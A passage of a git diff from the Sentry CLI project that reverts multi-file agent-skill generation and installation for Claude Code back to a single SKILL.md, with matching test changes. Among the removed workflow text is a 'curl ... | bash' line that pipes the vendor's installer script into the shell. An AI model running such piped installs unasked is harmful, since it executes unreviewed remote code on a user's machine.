[k, v] of parsed.examples) result.examples.set(k, v); - for (const [k, v] of parsed.prose) result.prose.set(k, v); - for (const [k, v] of parsed.outputExamples) - result.outputExamples.set(k, v); - result.supplementary.push(...parsed.supplementary); - - // Also try to extract examples from ## Usage and ## Examples sections - // (for docs that don't use ### `sentry ...` headings) - const subcommandName = entry.name.replace(".md", ""); - const commandPath = `sentry ${commandGroup} ${subcommandName}`; - - if (!result.examples.has(commandPath)) { - // Prefer ## Examples over ## Usage for richer content - for (const sectionName of ["Examples", "Usage"]) { - const section = extractSection(subDocContent, sectionName); - if (section) { - const codeBlocks = extractCodeBlocks(section, "bash"); - if (codeBlocks.length > 0) { - result.examples.set( - commandPath, - codeBlocks.map((b) => b.code) - ); - break; - } - } - } - } - - // Extract output examples from ## Examples section too - const examplesSection = extractSection(subDocContent, "Examples"); - if (examplesSection) { - const outputs = extractOutputExamples(examplesSection); - if (outputs.length > 0 && !result.outputExamples.has(commandPath)) { - result.outputExamples.set(commandPath, outputs); - } - } - - // Extract supplementary sections from subdocs - const subSections = extractSupplementarySections(subDocContent); - result.supplementary.push(...subSections); - } - } catch { - // Subdirectory doesn't exist — that's fine - } - - return result; -} - -/** - * Load examples for a specific command from docs (backward-compatible wrapper) - */ -async function loadCommandExamples( - commandGroup: string -): Promise> { - const docs = await loadCommandDocs(commandGroup); - return docs.examples; + return examples; } /** @@ -791,8 +414,6 @@ type CommandInfo = { positional: string; aliases: Record; examples: string[]; - description?: string; - outputExamples: string[]; }; type FlagInfo = { @@ -808,7 +429,6 @@ type RouteInfo = { name: string; brief: string; commands: CommandInfo[]; - supplementary: { heading: string; content: string }[]; }; /** @@ -857,11 +477,7 @@ function extractFlags(flags: Record | undefined): FlagInfo[] { function buildCommandInfo( cmd: Command, path: string, - extras: { - examples?: string[]; - description?: string; - outputExamples?: string[]; - } = {} + examples: string[] = [] ): CommandInfo { return { path, @@ -870,9 +486,7 @@ function buildCommandInfo( flags: extractFlags(cmd.parameters.flags), positional: getPositionalString(cmd.parameters.positional), aliases: cmd.parameters.aliases ?? {}, - examples: extras.examples ?? [], - description: extras.description, - outputExamples: extras.outputExamples ?? [], + examples, }; } @@ -882,7 +496,7 @@ function buildCommandInfo( function extractRouteGroupCommands( routeMap: RouteMap, routeName: string, - docs: DocExamples + docExamples: Map ): CommandInfo[] { const commands: CommandInfo[] = []; @@ -894,13 +508,8 @@ function extractRouteGroupCommands( const subTarget = subEntry.target; if (isCommand(subTarget)) { const path = `sentry ${routeName} ${subEntry.name.original}`; - commands.push( - buildCommandInfo(subTarget, path, { - examples: docs.examples.get(path) ?? [], - description: docs.prose.get(path), - outputExamples: docs.outputExamples.get(path) ?? [], - }) - ); + const examples = docExamples.get(path) ?? []; + commands.push(buildCommandInfo(subTarget, path, examples)); } } @@ -921,29 +530,22 @@ async function extractRoutes(routeMap: RouteMap): Promise { const routeName = entry.name.original; const target = entry.target; - // Load full docs for this route - const docs = await loadCommandDocs(routeName); + // Load examples from docs for this route + const docExamples = await loadCommandExamples(routeName); if (isRouteMap(target)) { result.push({ name: routeName, brief: target.brief, - commands: extractRouteGroupCommands(target, routeName, docs), - supplementary: docs.supplementary, + commands: extractRouteGroupCommands(target, routeName, docExamples), }); } else if (isCommand(target)) { const path = `sentry ${routeName}`; + const examples = docExamples.get(path) ?? []; result.push({ name: routeName, brief: target.brief, - commands: [ - buildCommandInfo(target, path, { - examples: docs.examples.get(path) ?? [], - description: docs.prose.get(path), - outputExamples: docs.outputExamples.get(path) ?? [], - }), - ], - supplementary: docs.supplementary, + commands: [buildCommandInfo(target, path, examples)], }); } } @@ -1002,44 +604,18 @@ function formatFlag(flag: FlagInfo, aliases: Record): string { } /** - * Generate documentation for a single command. - * - * @param cmd - Command metadata - * @param headingLevel - Heading depth for the command title (default 4 = ####) + * Generate documentation for a single command */ -function generateCommandDoc(cmd: CommandInfo, headingLevel = 4): string { +function generateCommandDoc(cmd: CommandInfo): string { const lines: string[] = []; // Command signature const signature = cmd.positional ? `${cmd.path} ${cmd.positional}` : cmd.path; - const hashes = "#".repeat(headingLevel); - lines.push(`${hashes} \`${signature}\``); + lines.push(`#### \`${signature}\``); lines.push(""); lines.push(cmd.brief); - // Prose description from docs (if substantially richer than the brief) - if (cmd.description && cmd.description.length > cmd.brief.length + 20) { - // Strip the leading brief text if duplicated, keep the rest - const briefNorm = cmd.brief.replace(/\.$/, "").toLowerCase(); - const descNorm = cmd.description.replace(/\.$/, "").toLowerCase(); - if (briefNorm === descNorm) { - // Exact match — skip - } else if (descNorm.startsWith(briefNorm)) { - // Description starts with brief — strip the duplicated prefix - const extra = cmd.description.slice(cmd.brief.replace(/\.$/, "").length).trim(); - // Remove leading period/newline if present - const cleaned = extra.replace(/^[.\s]+/, "").trim(); - if (cleaned.length > 20) { - lines.push(""); - lines.push(cleaned); - } - } else { - lines.push(""); - lines.push(cmd.description); - } - } - // Flags section const visibleFlags = cmd.flags.filter( (f) => f.name !== "help" && f.name !== "helpAll" @@ -1064,324 +640,79 @@ function generateCommandDoc(cmd: CommandInfo, headingLevel = 4): string { lines.push("```"); } - // Output examples - if (cmd.outputExamples.length > 0) { - lines.push(""); - lines.push("**Expected output:**"); - lines.push(""); - lines.push("```"); - lines.push(cmd.outputExamples.join("\n\n")); - lines.push("```"); - } - return lines.join("\n"); } /** - * Generate documentation for a route group. - * - * @param route - Route metadata - * @param headingLevel - Base heading depth for the group title (default 3 = ###) + * Generate documentation for a route group */ -function generateRouteDoc(route: RouteInfo, headingLevel = 3): string { +function generateRouteDoc(route: RouteInfo): string { const lines: string[] = []; // Section header const titleCase = route.name.charAt(0).toUpperCase() + route.name.slice(1); - const hashes = "#".repeat(headingLevel); - lines.push(`${hashes} ${titleCase}`); + lines.push(`### ${titleCase}`); lines.push(""); lines.push(route.brief); lines.push(""); // Commands in this route for (const cmd of route.commands) { - lines.push(generateCommandDoc(cmd, headingLevel + 1)); + lines.push(generateCommandDoc(cmd)); lines.push(""); } return lines.join("\n"); } -// ───────────────────────────────────────────────────────────────────────────── -// Use Case Generation -// ───────────────────────────────────────────────────────────────────────────── - /** - * Enrichment content per command group. - * Contains workflows, query patterns, and integration recipes. + * Generate the Available Commands section */ -type GroupEnrichment = { - workflows?: string; - queries?: string; - recipes?: string; -}; - -const ENRICHMENT: Record = { - auth: { - workflows: `### First-time setup -1. Install: \`curl https://cli.sentry.dev/install -fsS | bash\` -2. Authenticate: \`sentry auth login\` -3. Verify: \`sentry auth status\` -4. Explore: \`sentry org list\` - -### CI/CD authentication -1. Create an API token at https://sentry.io/settings/account/api/auth-tokens/ -2. Set token: \`sentry auth login --token $SENTRY_TOKEN\` -3. Verify: \`sentry auth status\``, - }, - issue: { - workflows: `### Diagnose a production issue -1. Find the issue: \`sentry issue list / --query "is:unresolved" --sort freq\` -2. View details: \`sentry issue view \` -3. Get AI root cause: \`sentry issue explain \` -4. Get fix plan: \`sentry issue plan \` -5. Open in browser for full context: \`sentry issue view -w\` - -### Triage recent regressions -1. List new issues: \`sentry issue list / --sort new --period 24h\` -2. Check frequency: \`sentry issue list / --sort freq --limit 5\` -3. Investigate top issue: \`sentry issue view \` -4. Explain root cause: \`sentry issue explain \``, - queries: `- Unresolved errors: \`--query "is:unresolved"\` -- Specific error type: \`--query "TypeError"\` -- By environment: \`--query "environment:production"\` -- Assigned to me: \`--query "assigned:me"\` -- Recent issues: \`--period 24h\` -- Most frequent: \`--sort freq --limit 10\` -- Combined: \`--query "is:unresolved environment:production" --sort freq\``, - recipes: `- Extract issue titles: \`sentry issue list / --json | jq '.[].title'\` -- Get issue counts: \`sentry issue list / --json | jq '.[].count'\` -- List unresolved as CSV: \`sentry issue list / --json --query "is:unresolved" | jq -r '.[] | [.shortId, .title, .count] | @csv'\``, - }, - event: { - workflows: `### Investigate an error event -1. Find the event ID from \`sentry issue view \` output -2. View event details: \`sentry event view \` -3. Open in browser for full stack trace: \`sentry event view -w\``, - }, - log: { - workflows: `### Monitor production logs -1. Stream all logs: \`sentry log list -f\` -2. Filter to errors only: \`sentry log list -f -q 'level:error'\` -3. Investigate a specific log: \`sentry log view \` - -### Debug a specific issue -1. Filter by message content: \`sentry log list -q 'database timeout'\` -2. View error details: \`sentry log view \` -3. Check related trace: follow the Trace ID from the log view output`, - queries: `- Error logs only: \`-q 'level:error'\` -- Warning and above: \`-q 'level:warning'\` -- By message content: \`-q 'database'\` -- Limit results: \`--limit 50\` -- Stream with interval: \`-f 5\` (poll every 5 seconds)`, - recipes: `- Extract error messages: \`sentry log list --json -q 'level:error' | jq '.[].message'\` -- Filter by level in JSON: \`sentry log list --json | jq '.[] | select(.level == "error")'\``, - }, - trace: { - workflows: `### Investigate slow requests -1. List recent traces: \`sentry trace list --sort duration\` -2. View slowest trace: \`sentry trace view \` -3. Open in browser for waterfall view: \`sentry trace view -w\``, - queries: `- Sort by duration: \`--sort duration\` -- Search traces: \`--query "http.method:GET"\` -- Limit results: \`--limit 50\``, - }, - api: { - workflows: `### Bulk update issues -1. Find issues: \`sentry api /projects///issues/?query=is:unresolved --paginate\` -2. Update status: \`sentry api /issues// --method PUT --field status=resolved\` -3. Assign issue: \`sentry api /issues// --method PUT --field assignedTo="user@example.com"\` - -### Explore the API -1. List organizations: \`sentry api /organizations/\` -2. List projects: \`sentry api /organizations//projects/\` -3. Check rate limits: \`sentry api /organizations/ --include\``, - recipes: `- Get organization slugs: \`sentry api /organizations/ | jq '.[].slug'\` -- List project slugs: \`sentry api /organizations//projects/ | jq '.[].slug'\` -- Count issues by status: \`sentry api /projects///issues/?query=is:unresolved | jq 'length'\``, - }, - cli: { - workflows: `### Update the CLI -1. Check for updates: \`sentry cli upgrade --check\` -2. Upgrade: \`sentry cli upgrade\` - -### Switch to nightly builds -1. Switch channel: \`sentry cli upgrade nightly\` -2. Subsequent updates track nightly: \`sentry cli upgrade\` -3. Switch back to stable: \`sentry cli upgrade stable\``, - }, - init: { - workflows: `### Set up a new project -1. Navigate to project: \`cd my-app\` -2. Authenticate: \`sentry auth login\` -3. Preview changes: \`sentry init --dry-run\` -4. Run the wizard: \`sentry init\` - -### Non-interactive CI setup -1. \`sentry auth login --token $SENTRY_TOKEN\` -2. \`sentry init --yes --features errors,tracing\``, - }, - org: { - recipes: `- Get org slugs: \`sentry org list --json | jq '.[].slug'\``, - }, - project: { - recipes: `- List project slugs: \`sentry project list --json | jq '.[].slug'\` -- Filter by platform: \`sentry project list --platform python --json | jq '.[].name'\``, - }, - repo: { - workflows: `### Check linked repositories -1. List repos: \`sentry repo list\` -2. Get details as JSON: \`sentry repo list --json\` -3. Use the API for more details: \`sentry api /organizations//repos/\``, - recipes: `- Get repo names: \`sentry repo list --json | jq '.[].name'\` -- Get repo providers: \`sentry repo list --json | jq '.[] | {name, provider}'\``, - }, - team: { - workflows: `### Find teams and their projects -1. List teams: \`sentry team list\` -2. Get team details via API: \`sentry api /teams///\` -3. List team projects: \`sentry api /teams///projects/\``, - recipes: `- Get team slugs: \`sentry team list --json | jq '.[].slug'\` -- Count teams: \`sentry team list --json | jq 'length'\``, - }, -}; +function generateCommandsSection(routeInfos: RouteInfo[]): string { + const lines: string[] = []; -// ───────────────────────────────────────────────────────────────────────────── -// Multi-File Generation -// ───────────────────────────────────────────────────────────────────────────── + lines.push("## Available Commands"); + lines.push(""); -/** Preferred order for routes in the index table */ -const ROUTE_ORDER = [ - "auth", - "org", - "project", - "issue", - "event", - "api", - "cli", - "repo", - "team", - "log", - "trace", - "init", -]; + // Define the order we want routes to appear + const routeOrder = [ + "help", + "auth", + "org", + "project", + "issue", + "event", + "api", + ]; -/** - * Sort routes by preferred display order - */ -function sortRoutes(routeInfos: RouteInfo[]): RouteInfo[] { - return [...routeInfos].sort((a, b) => { - const aIndex = ROUTE_ORDER.indexOf(a.name); - const bIndex = ROUTE_ORDER.indexOf(b.name); + // Sort routes by our preferred order + const sortedRoutes = [...routeInfos].sort((a, b) => { + const aIndex = routeOrder.indexOf(a.name); + const bIndex = routeOrder.indexOf(b.name); const aOrder = aIndex === -1 ? 999 : aIndex; const bOrder = bIndex === -1 ? 999 : bIndex; return aOrder - bOrder; }); -} - -/** - * Determine which reference file a route belongs to. - * Shortcuts map to their parent; regular routes map to themselves. - */ -function getReferenceGroup(routeName: string): string | null { - if (routeName === "help") { - return null; // Skip help command - } - return SHORTCUT_TO_PARENT[routeName] ?? routeName; -} -/** - * Group routes by reference file. - * Returns a map from reference filename (without .md) to { primary route, shortcut routes }. - */ -function groupRoutesByReference(routeInfos: RouteInfo[]): Map< - string, - { primary: RouteInfo; shortcuts: RouteInfo[] } -> { - const groups = new Map< - string, - { primary: RouteInfo; shortcuts: RouteInfo[] } - >(); - - for (const route of routeInfos) { - const group = getReferenceGroup(route.name); - if (!group) { + for (const route of sortedRoutes) { + // Skip help command from detailed docs (it's self-explanatory) + if (route.name === "help") { continue; } - const existing = groups.get(group); - if (SHORTCUT_TO_PARENT[route.name]) { - // This is a shortcut - if (existing) { - existing.shortcuts.push(route); - } else { - groups.set(group, { primary: undefined!, shortcuts: [route] }); - } - } else { - // This is the primary route - if (existing) { - existing.primary = route; - } else { - groups.set(group, { primary: route, shortcuts: [] }); - } - } + lines.push(generateRouteDoc(route)); } - return groups; + return lines.join("\n"); } /** - * Generate the SKILL.md index file content. + * Generate the Output Formats section from docs */ -async function generateIndex(routeInfos: RouteInfo[]): Promise { - const sorted = sortRoutes(routeInfos); - const prerequisites = await loadPrerequisites(); +async function generateOutputFormatsSection(): Promise { const overview = await loadCommandsOverview(); const lines: string[] = []; - - // Front matter - lines.push(generateFrontMatter()); - lines.push(""); - - // Title + description - lines.push("# Sentry CLI Usage Guide"); - lines.push(""); - lines.push( - "Help users interact with Sentry from the command line using the `sentry` CLI." - ); - lines.push(""); - - // Prerequisites - lines.push(prerequisites); - lines.push(""); - - // Command table - lines.push("## Available Commands"); - lines.push(""); - lines.push("| Command | Description | Reference |"); - lines.push("|---------|-------------|-----------|"); - - // Track which reference groups we've already listed - const listedGroups = new Set(); - - for (const route of sorted) { - const group = getReferenceGroup(route.name); - if (!group || listedGroups.has(group)) { - continue; - } - listedGroups.add(group); - - const titleCase = group.charAt(0).toUpperCase() + group.slice(1); - lines.push( - `| \`sentry ${group}\` | ${route.brief} | [${titleCase} commands](references/${group}.md) |` - ); - } - - lines.push(""); - - // Output Formats section lines.push("## Output Formats"); lines.push(""); @@ -1407,160 +738,39 @@ async function generateIndex(routeInfos: RouteInfo[]): Promise { ); } - lines.push(""); - return lines.join("\n"); } /** - * Generate a reference file for a command group. + * Generate the complete SKILL.md content */ -function generateReferenceFile( - primary: RouteInfo, - shortcuts: RouteInfo[] -): string { - const lines: string[] = []; - const groupName = primary.name; - const titleCase = groupName.charAt(0).toUpperCase() + groupName.slice(1); - - // Title - lines.push(`# ${titleCase} Commands`); - lines.push(""); - lines.push(primary.brief); - lines.push(""); - - // Commands (using # → ## hierarchy for reference files) - for (const cmd of primary.commands) { - lines.push(generateCommandDoc(cmd, 2)); - lines.push(""); - } - - // Shortcuts section (with flag note) - if (shortcuts.length > 0) { - lines.push("## Shortcuts"); - lines.push(""); - for (const shortcut of shortcuts) { - const shortcutCmd = shortcut.commands[0]; - if (shortcutCmd) { - // Find the primary command whose brief matches the shortcut's brief - const matchingCmd = primary.commands.find( - (c) => c.brief === shortcutCmd.brief - ); - const targetPath = - matchingCmd?.path ?? primary.commands[0]?.path ?? `sentry ${groupName}`; - lines.push( - `- \`sentry ${shortcut.name}\` → shortcut for \`${targetPath}\` (accepts the same flags)` - ); - } - } - lines.push(""); - } - - // Supplementary sections from docs (deduplicated by heading) - if (primary.supplementary.length > 0) { - const seen = new Set(); - for (const section of primary.supplementary) { - if (seen.has(section.heading)) continue; - seen.add(section.heading); - lines.push(`## ${section.heading}`); - lines.push(""); - lines.push(section.content); - lines.push(""); - } - } - - // Enrichment: workflows, queries, recipes - const enrichment = ENRICHMENT[groupName]; - if (enrichment) { - if (enrichment.workflows) { - lines.push("## Workflows"); - lines.push(""); - lines.push(enrichment.workflows); - lines.push(""); - } - - if (enrichment.queries) { - lines.push("## Common Queries"); - lines.push(""); - lines.push(enrichment.queries); - lines.push(""); - } - - if (enrichment.recipes) { - lines.push("## JSON Recipes"); - lines.push(""); - lines.push(enrichment.recipes); - lines.push(""); - } - } - - return lines.join("\n"); -} - -/** - * Generate the index.json manifest for remote installation. - */ -function generateIndexJson(referenceFiles: string[]): string { - const files = [ - "SKILL.md", - ...referenceFiles.map((f) => `references/${f}.md`), +async function generateSkillMarkdown(routeMap: RouteMap): Promise { + const routeInfos = await extractRoutes(routeMap); + const prerequisites = await loadPrerequisites(); + const outputFormats = await generateOutputFormatsSection(); + + const sections = [ + generateFrontMatter(), + "", + "# Sentry CLI Usage Guide", + "", + "Help users interact with Sentry from the command line using the `sentry` CLI.", + "", + prerequisites, + "", + generateCommandsSection(routeInfos), + outputFormats, + "", ]; - const index = { - skills: [ - { - name: "sentry-cli", - description: - "Guide for using the Sentry CLI to interact with Sentry from the command line. Use when the user asks about viewing issues, events, projects, organizations, making API calls, or authenticating with Sentry via CLI.", - files, - }, - ], - }; - - return JSON.stringify(index, null, 2) + "\n"; + return sections.join("\n"); } // ───────────────────────────────────────────────────────────────────────────── // Main // ───────────────────────────────────────────────────────────────────────────── -const routeInfos = await extractRoutes(routes as unknown as RouteMap); -const groups = groupRoutesByReference(routeInfos); - -// Clean and recreate references directory -rmSync(REFERENCES_DIR, { recursive: true, force: true }); -mkdirSync(REFERENCES_DIR, { recursive: true }); - -// Write SKILL.md index -const indexContent = await generateIndex(routeInfos); -await Bun.write(`${OUTPUT_DIR}/SKILL.md`, indexContent); - -// Write reference files in ROUTE_ORDER -const referenceFiles: string[] = []; -for (const groupName of ROUTE_ORDER) { - const group = groups.get(groupName); - if (!group?.primary) { - continue; - } - referenceFiles.push(groupName); - const content = generateReferenceFile(group.primary, group.shortcuts); - await Bun.write(`${REFERENCES_DIR}/${groupName}.md`, content); -} - -// Also write any groups not in ROUTE_ORDER (future-proofing) -for (const [groupName, group] of groups) { - if (!ROUTE_ORDER.includes(groupName) && group.primary) { - referenceFiles.push(groupName); - const content = generateReferenceFile(group.primary, group.shortcuts); - await Bun.write(`${REFERENCES_DIR}/${groupName}.md`, content); - } -} - -// Write index.json -await Bun.write(INDEX_JSON_PATH, generateIndexJson(referenceFiles)); +const content = await generateSkillMarkdown(routes as unknown as RouteMap); +await Bun.write(OUTPUT_PATH, content); -console.log(`Generated ${OUTPUT_DIR}/SKILL.md`); -console.log( - `Generated ${referenceFiles.length} reference files in ${REFERENCES_DIR}/` -); -console.log(`Generated ${INDEX_JSON_PATH}`); +console.log(`Generated ${OUTPUT_PATH}`); diff --git a/src/lib/agent-skills.ts b/src/lib/agent-skills.ts index 2ffa6e8b..24ac4624 100644 --- a/src/lib/agent-skills.ts +++ b/src/lib/agent-skills.ts @@ -2,13 +2,10 @@ * Agent skill installation for AI coding assistants. * * Detects supported AI coding agents (currently Claude Code) and installs - * the Sentry CLI skill files so the agent can use CLI commands effectively. + * the Sentry CLI skill file so the agent can use CLI commands effectively. * * The skill content is fetched from GitHub, version-pinned to the installed * CLI version to avoid documenting commands that don't exist in the binary. - * - * Fetches an index.json manifest first to discover all skill files - * (SKILL.md + references/*.md), then fetches them in parallel. */ import { existsSync, mkdirSync } from "node:fs"; @@ -17,9 +14,9 @@ import { getUserAgent } from "./constants.js"; /** Where completions are installed */ export type AgentSkillLocation = { - /** Path where the skill files were installed */ + /** Path where the skill file was installed */ path: string; - /** Whether the directory was created or already existed */ + /** Whether the file was created or already existed */ created: boolean; }; @@ -29,15 +26,15 @@ export type AgentSkillLocation = { */ const GITHUB_RAW_BASE = "https://raw.githubusercontent.com/getsentry/cli"; -/** Path to the skill directory within the repository */ -const SKILL_RELATIVE_DIR = "plugins/sentry-cli/skills/sentry-cli"; +/** Path to the SKILL.md within the repository */ +const SKILL_RELATIVE_PATH = "plugins/sentry-cli/skills/sentry-cli/SKILL.md"; /** - * Fallback base URL when the versioned files aren't available (e.g., dev builds). + * Fallback URL when the versioned file isn't available (e.g., dev builds). * Served from the docs site via the well-known skills discovery endpoint. */ -const FALLBACK_BASE_URL = - "https://cli.sentry.dev/.well-known/skills/sentry-cli"; +const FALLBACK_SKILL_URL = + "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md"; /** Timeout for fetching skill content (5 seconds) */ const FETCH_TIMEOUT_MS = 5000; @@ -53,9 +50,9 @@ export function detectClaudeCode(homeDir: string): boolean { } /** - * Get the installation directory for the Sentry CLI skill in Claude Code. + * Get the installation path for the Sentry CLI skill in Claude Code. * - * Skills are stored under ~/.claude/skills//, + * Skills are stored under ~/.claude/skills//SKILL.md, * matching the convention used by the `npx skills` tool. */ export function getSkillInstallPath(homeDir: string): string { @@ -63,7 +60,7 @@ export function getSkillInstallPath(homeDir: string): string { } /** - * Build the base URL for fetching skill files for a given CLI version. + * Build the URL to fetch the SKILL.md for a given CLI version. * * For release versions, points to the exact tagged commit on GitHub * to ensure the skill documentation matches the installed commands. @@ -71,149 +68,62 @@ export function getSkillInstallPath(homeDir: string): string { * * @param version - The CLI version string (e.g., "0.8.0", "0.9.0-dev.0") */ -export function getSkillBaseUrl(version: string): string { +export function getSkillUrl(version: string): string { if (version.includes("dev") || version === "0.0.0") { - return FALLBACK_BASE_URL; - } - return `${GITHUB_RAW_BASE}/${version}/${SKILL_RELATIVE_DIR}`; -} - -// Keep backward-compatible alias -export { getSkillBaseUrl as getSkillUrl }; - -/** - * Fetch a single file from a URL, returning its content or null on failure. - */ -async function fetchFile( - url: string, - headers: Record -): Promise { - try { - const response = await fetch(url, { - headers, - signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), - }); - if (response.ok) { - return await response.text(); - } - return null; - } catch { - return null; - } -} - -/** Expected shape of the index.json manifest */ -type SkillIndex = { - skills: Array<{ - name: string; - files: string[]; - }>; -}; - -/** - * Fetch the list of skill files from the index.json manifest. - * Returns the file list or a default if the manifest can't be fetched. - */ -async function fetchSkillFileList( - baseUrl: string, - headers: Record -): Promise { - const indexUrl = `${baseUrl.replace(/\/sentry-cli$/, "")}/index.json`; - const content = await fetchFile(indexUrl, headers); - - if (content) { - try { - const index = JSON.parse(content) as SkillIndex; - const skill = index.skills?.find((s) => s.name === "sentry-cli"); - if (skill?.files && skill.files.length > 0) { - return skill.files; - } - } catch { - // Fall through to default - } + return FALLBACK_SKILL_URL; } - - // Default: just SKILL.md (backward compatible) - return ["SKILL.md"]; + return `${GITHUB_RAW_BASE}/${version}/${SKILL_RELATIVE_PATH}`; } /** - * Fetch all skill files for a given CLI version. + * Fetch the SKILL.md content for a given CLI version. * - * Tries the version-pinned GitHub URL first. If index.json or SKILL.md - * fails from GitHub, falls back to cli.sentry.dev. - * Returns a map of relative paths to content, or null if the primary - * SKILL.md can't be fetched from either source. + * Tries the version-pinned GitHub URL first. If that fails (e.g., the tag + * doesn't exist yet), falls back to the latest from cli.sentry.dev. + * Returns null if both attempts fail — network errors are not propagated + * since skill installation is a best-effort enhancement. * * @param version - The CLI version string */ export async function fetchSkillContent( version: string -): Promise | null> { - const primaryBaseUrl = getSkillBaseUrl(version); +): Promise { + const primaryUrl = getSkillUrl(version); const headers = { "User-Agent": getUserAgent() }; - // Try to fetch the file list from index.json - const fileList = await fetchSkillFileList(primaryBaseUrl, headers); - - // Fetch all files in parallel from primary URL - const results = await Promise.allSettled( - fileList.map(async (filePath) => { - const content = await fetchFile( - `${primaryBaseUrl}/${filePath}`, - headers - ); - return { filePath, content }; - }) - ); + try { + const response = await fetch(primaryUrl, { + headers, + signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), + }); - const files = new Map(); - for (const result of results) { - if (result.status === "fulfilled" && result.value.content !== null) { - files.set(result.value.filePath, result.value.content); + if (response.ok) { + return await response.text(); } - } - // SKILL.md is required — if it's missing, try fallback - if (!files.has("SKILL.md")) { - if (primaryBaseUrl !== FALLBACK_BASE_URL) { - // Try fallback for all files - const fallbackFileList = await fetchSkillFileList( - FALLBACK_BASE_URL, - headers - ); - const fallbackResults = await Promise.allSettled( - fallbackFileList.map(async (filePath) => { - const content = await fetchFile( - `${FALLBACK_BASE_URL}/${filePath}`, - headers - ); - return { filePath, content }; - }) - ); + // If the versioned URL failed and it's not already the fallback, try fallback + if (primaryUrl !== FALLBACK_SKILL_URL) { + const fallbackResponse = await fetch(FALLBACK_SKILL_URL, { + headers, + signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), + }); - files.clear(); - for (const result of fallbackResults) { - if (result.status === "fulfilled" && result.value.content !== null) { - files.set(result.value.filePath, result.value.content); - } + if (fallbackResponse.ok) { + return await fallbackResponse.text(); } } - // Still no SKILL.md → give up - if (!files.has("SKILL.md")) { - return null; - } + return null; + } catch { + return null; } - - return files; } /** * Install the Sentry CLI agent skill for Claude Code. * * Checks if Claude Code is installed, fetches the version-appropriate - * skill files, and writes them to the Claude Code skills directory. + * SKILL.md, and writes it to the Claude Code skills directory. * Returns null (without throwing) if Claude Code isn't detected, * the fetch fails, or any other error occurs. * @@ -229,32 +139,24 @@ export async function installAgentSkills( return null; } - const files = await fetchSkillContent(version); - if (!files) { + const content = await fetchSkillContent(version); + if (!content) { return null; } try { - const skillDir = join(homeDir, ".claude", "skills", "sentry-cli"); + const path = getSkillInstallPath(homeDir); + const dir = dirname(path); - if (!existsSync(skillDir)) { - mkdirSync(skillDir, { recursive: true, mode: 0o755 }); + if (!existsSync(dir)) { + mkdirSync(dir, { recursive: true, mode: 0o755 }); } - const alreadyExists = existsSync(join(skillDir, "SKILL.md")); - - // Write all fetched files - for (const [filePath, content] of files) { - const fullPath = join(skillDir, filePath); - const dir = dirname(fullPath); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true, mode: 0o755 }); - } - await Bun.write(fullPath, content); - } + const alreadyExists = existsSync(path); + await Bun.write(path, content); return { - path: join(skillDir, "SKILL.md"), + path, created: !alreadyExists, }; } catch { diff --git a/test/commands/cli/setup.test.ts b/test/commands/cli/setup.test.ts index 58601de9..1349443d 100644 --- a/test/commands/cli/setup.test.ts +++ b/test/commands/cli/setup.test.ts @@ -520,35 +520,12 @@ describe("sentry cli setup", () => { }); describe("agent skills", () => { - const SAMPLE_INDEX_JSON = JSON.stringify({ - skills: [ - { - name: "sentry-cli", - files: ["SKILL.md", "references/auth.md", "references/issue.md"], - }, - ], - }); - beforeEach(() => { originalFetch = globalThis.fetch; - mockFetch(async (url) => { - const urlStr = typeof url === "string" ? url : url.toString(); - if (urlStr.endsWith("index.json")) { - return new Response(SAMPLE_INDEX_JSON, { status: 200 }); - } - if (urlStr.endsWith("SKILL.md")) { - return new Response("# Sentry CLI Skill\nTest content", { - status: 200, - }); - } - if (urlStr.endsWith("auth.md")) { - return new Response("# Auth\nAuth content", { status: 200 }); - } - if (urlStr.endsWith("issue.md")) { - return new Response("# Issue\nIssue content", { status: 200 }); - } - return new Response("Not found", { status: 404 }); - }); + mockFetch( + async () => + new Response("# Sentry CLI Skill\nTest content", { status: 200 }) + ); }); afterEach(() => { @@ -578,7 +555,7 @@ describe("sentry cli setup", () => { expect(combined).toContain("Agent skills:"); expect(combined).toContain("Installed to"); - // Verify SKILL.md was written + // Verify the file was actually written const skillPath = join( testDir, ".claude", @@ -587,18 +564,6 @@ describe("sentry cli setup", () => { "SKILL.md" ); expect(existsSync(skillPath)).toBe(true); - - // Verify references directory was created with files - const refsDir = join( - testDir, - ".claude", - "skills", - "sentry-cli", - "references" - ); - expect(existsSync(refsDir)).toBe(true); - expect(existsSync(join(refsDir, "auth.md"))).toBe(true); - expect(existsSync(join(refsDir, "issue.md"))).toBe(true); }); test("silently skips when Claude Code is not detected", async () => { diff --git a/test/lib/agent-skills.test.ts b/test/lib/agent-skills.test.ts index f81ecf6c..afbf3824 100644 --- a/test/lib/agent-skills.test.ts +++ b/test/lib/agent-skills.test.ts @@ -2,7 +2,7 @@ * Agent Skills Tests * * Unit tests for Claude Code detection, version-pinned URL construction, - * multi-file skill content fetching, and file installation. + * skill content fetching, and file installation. */ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; @@ -26,16 +26,6 @@ function mockFetch( globalThis.fetch = fn as typeof globalThis.fetch; } -/** Sample index.json for multi-file tests */ -const SAMPLE_INDEX_JSON = JSON.stringify({ - skills: [ - { - name: "sentry-cli", - files: ["SKILL.md", "references/auth.md", "references/issue.md"], - }, - ], -}); - beforeEach(() => { originalFetch = globalThis.fetch; }); @@ -81,7 +71,7 @@ describe("agent-skills", () => { test("returns versioned GitHub URL for release versions", () => { const url = getSkillUrl("0.8.0"); expect(url).toBe( - "https://raw.githubusercontent.com/getsentry/cli/0.8.0/plugins/sentry-cli/skills/sentry-cli" + "https://raw.githubusercontent.com/getsentry/cli/0.8.0/plugins/sentry-cli/skills/sentry-cli/SKILL.md" ); }); @@ -93,50 +83,31 @@ describe("agent-skills", () => { test("returns fallback URL for dev versions", () => { const url = getSkillUrl("0.9.0-dev.0"); expect(url).toBe( - "https://cli.sentry.dev/.well-known/skills/sentry-cli" + "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md" ); }); test("returns fallback URL for 0.0.0", () => { const url = getSkillUrl("0.0.0"); expect(url).toBe( - "https://cli.sentry.dev/.well-known/skills/sentry-cli" + "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md" ); }); test("returns fallback URL for 0.0.0-dev", () => { const url = getSkillUrl("0.0.0-dev"); expect(url).toBe( - "https://cli.sentry.dev/.well-known/skills/sentry-cli" + "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md" ); }); }); describe("fetchSkillContent", () => { - test("returns map with all 